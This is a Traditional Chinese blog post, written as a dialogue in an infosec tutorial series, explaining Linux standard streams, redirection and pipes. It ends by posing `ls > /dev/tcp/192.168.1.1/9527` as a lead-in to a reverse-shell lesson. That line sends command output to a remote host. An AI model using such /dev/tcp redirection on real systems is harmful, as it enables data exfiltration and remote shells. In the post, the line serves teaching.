iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 21
2
Security

那個夜裡的資安系列 第 22

那個夜裡的資安-21(Linux Streams)

  • 分享至 

  • xImage
  •  

『在Linux的世界裡,有些代碼是我們要知道的。』

「代碼?』

『像是之前提到的 run level 0 到6,每個數用都有不同的意思。或是/etc/shadow 裡的 1、5 、6。

/etc/shadow|
---|---

代碼 表示
1 MD5
5 SHA256
6 SAH512

在Linux stearms也有這樣的代碼。

Linux Stearms| |
----|---|----
代碼|表示|縮寫
0|標準輸入|stdin
1|結果正常的標準輸出|stdout
2|結果錯誤的標準輸出|stderr

但重要並不是知道這些代碼,重要的是去控制Linux stearms,就是俗稱的Redirections,也可說是重新導向。』

「這樣看起來,重要的不是會不會踩油門,重要的是要把車開到那裡去的意思?」

『是的。』

「可是...如果你說那個什0、1、2 是代碼,那我在什麼地方確認,你說的是真的? 你幹嘛那表情看我? 我要求證啊...」

『堂堂一個有錢集團下的有錢銀行資訊長,問我去那看0、1 、2 ...這裡,看到沒?』

https://ithelp.ithome.com.tw/upload/images/20190927/20006132sLFAcq497i.png

「哇,竟然真的有!?」

『...恭喜妳,終於見到了哦...真受不了。』

「可是不對啊,如果同時,有很多人,ssh 或 telnet 到這台CentOS,我要怎麼確定,你說的那個基本輸出輸入什麼的,不會亂掉?」

『當妳連線進到Linux後,從Linux的角度來看,它就是多了一個檔案,但那是屬於妳的檔案,它只要把妳的輸入的結果,往新產生的檔案送,就好了。

像,妳輸入tty這個指令,妳就可以看到了。

我現在的這個視窗畫面,對CentOS來說,就是**/dev/pts/2**,運作上就是像這樣子...

https://ithelp.ithome.com.tw/upload/images/20190927/20006132g73fOMeU63.png

代碼 Linux Stearms 來源和目的地
0 stdin /dev/pts/2
1 stdout /dev/pts/2
2 stderr /dev/pts/2

到這,有問題嗎?』

「沒有...這不是最基本的嗎?」

『妳10分鐘前,怎麼不這樣說?』

「我又不是進擊的巨人,可以知道未來的事,甚至可以改變未來的事......」

『啊,算了算了,所以,當我們在畫面上輸入,ls 的時候,結果會顯示在我們的營幕上,是因為

指令 |ls|
---|-----|----
代碼|Linux Stearms | 來源和目的地
0|stdin|/dev/pts/2
1|stdout|/dev/pts/2
2|stderr|/dev/pts/2

所以,結果如畫面。

https://ithelp.ithome.com.tw/upload/images/20190927/20006132vRrtTcAkVG.png

「這我懂啊,這麼簡單。」

『這妳要覺得難,妳們銀行資長可以換人了...基本的沒問題,那就來看**Redirections(重新導向)**吧。

像是現在,我一樣輸入 ls 這個指令,但需要將基本的stdout 從 /dev/pts/2 轉換到 /tmp/test.log,請問要怎麼處理?』

「用那個 > 的符號...這就是轉向哦! 常用但不知道是什麼耶...」

指令 |ls > /tmp/test.log|
---|-----|----
代碼|Linux Stearms | 來源和目的地
0|stdin|/dev/pts/2
1|stdout|/tmp/test.log
2|stderr|/dev/pts/2

『是啊,是沒什麼難...那再看一個基本的,如果指令或程式運行過程中,出現錯誤訊息或例外狀況,但我又不要這些訊息,顯示在目前的**/dev/pts/2**,而是希望也一起轉向到 /tmp/testlog』

指令 |ls > /tmp/test.log 2>&1|
---|-----|----
代碼|Linux Stearms | 來源和目的地
0|stdin|/dev/pts/2
1|stdout|/tmp/test.log
2|stderr|/tmp/test.log

『如果,stdout 和 stderr 要是不一樣的結果,那就是

指令 |ls > /tmp/test.log 2> /tmp/error.log|
---|-----|----
代碼|Linux Stearms | 來源和目的地
0|stdin|/dev/pts/2
1|stdout|/tmp/test.log
2|stderr|/tmp/error.log

請問這樣可以嗎?』

「原來是這樣,我懂了。 那我再問你, >>>,有什麼差別?」

『從結果來看的話,就是

> ,如沒有,則建立新的,或,覆蓋原有的
>>,如沒有,則建立新的,或,附加在原有的最後』

「嗯,懂了。我看你那串咒語,還有直線? 那是幹嘛的?」

『直線? 資訊長...那叫 pipeline...管線...』

「怎樣? 說直線怎樣? 你不懂我在說什麼嗎? 啊? 你懂不懂? 說啊......」

『我不都回答妳是管線了嗎?...真的很煩耶...

這邊的輸出 | 是這邊的輸入

資訊長,這樣了解嗎?』

「我再看一下,你那串咒語...

cat /var/www/html/tmp/today_getwifi-01.csv | awk -F[,] '{print $1,$4,$14}' | sed  '/Station/,$d'  | head -n -1| tail -n +2 | sed 's/[ ][ ]*/,/g' &> /var/www/html/csv/get.csv 

好,可以了,我懂了,講重點吧...」

『哇,資訊長知道,我沒講到重點耶。』

「廢話那麼多的男人......重點是什麼?」

『假設,在現在的CentOS上,有兩個ssh進來的連線,分別是 /dev/pts/0, /dev/pts/1,我是/dev/pts/0,請問資訊長,當我輸入

ls > /dev/pts/1,會發生什麼事?

指令 |ls > /dev/pts/1
---|-----|----
代碼|Linux Stearms | 來源和目的地
0|stdin|/dev/pts/2
1|stdout|/dev/pts/1
2|stderr|/tmp/test.log

「什麼事? ls 的結果,會出現在 /dev/pts/1 上面?」

『是啊。』

https://ithelp.ithome.com.tw/upload/images/20190927/20006132hmzW9Ffabt.png

「真的耶......」

『那請問資訊長,如果...我輸入的是

ls > /dev/tcp/192.168.1.1/9527

請問,會發生什麼事?

(待)

2019/09/27 SunAllen


上一篇
那個夜裡的資安-20(Linux Streams)
下一篇
那個夜裡的資安-22(Reverse Shell)
系列文
那個夜裡的資安35
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

1
竹風之翼
iT邦新手 2 級 ‧ 2019-09-27 18:58:01

「堂堂一個有錢集團下的有錢銀行資訊長」,要拜一下,仰望,讚嘆

我要留言

立即登入留言